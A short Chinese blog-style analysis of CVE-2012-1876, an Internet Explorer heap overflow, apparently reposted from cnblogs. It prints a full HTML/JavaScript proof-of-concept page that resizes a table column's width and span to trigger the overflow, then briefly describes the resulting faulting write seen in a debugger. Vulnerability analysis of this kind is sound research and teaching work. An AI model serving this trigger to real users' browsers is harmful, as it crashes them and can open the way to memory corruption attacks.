CVE-2012-1876漏洞分析

最新推荐文章于 2020-12-08 03:55:22 发布

weixin_30622107

最新推荐文章于 2020-12-08 03:55:22 发布

阅读量157

点赞数

原文链接：http://www.cnblogs.com/Ox9A82/p/5311296.html

版权

0.POC文件

 1 <html>
 2  <body>
 3  <table style="table-layout:fixed" >
 4         <col id="132" width="41" span="1" >&nbsp </col>
 5  </table>
 6  <script>
 7 
 8  function over_trigger() {
 9         var obj_col = document.getElementById("132");
10         obj_col.width = "42765";
11         obj_col.span = 1000;
12  }
13 
14  setTimeout("over_trigger();",10);
15 
16  </script>
17  </body>
18  </html>

1.漏洞复现

环境如下

2.漏洞分析

打开POC文件即发生异常，挂载调试器。异常情况如图

注意0x9A99000位置内存不可写入导致异常，图示是增加了写权限后的内存示意图。

分析可知，是堆溢出超出堆边界导致尝试写入不可写入的内存地址而引发了异常。

异常语句如图

edi的值为0x9A99000

mov [0x9A99000],ecx

引发异常

转载于:https://www.cnblogs.com/Ox9A82/p/5311296.html

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

weixin_30622107

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
CVE-2012-1876漏洞分析

0.POC文件 1 <html> 2 <body> 3 <table style="table-layout:fixed" > 4 <col id="132" width="41" span="1" >&nbsp </col> 5 </table> 6 <scr...
复制链接

扫一扫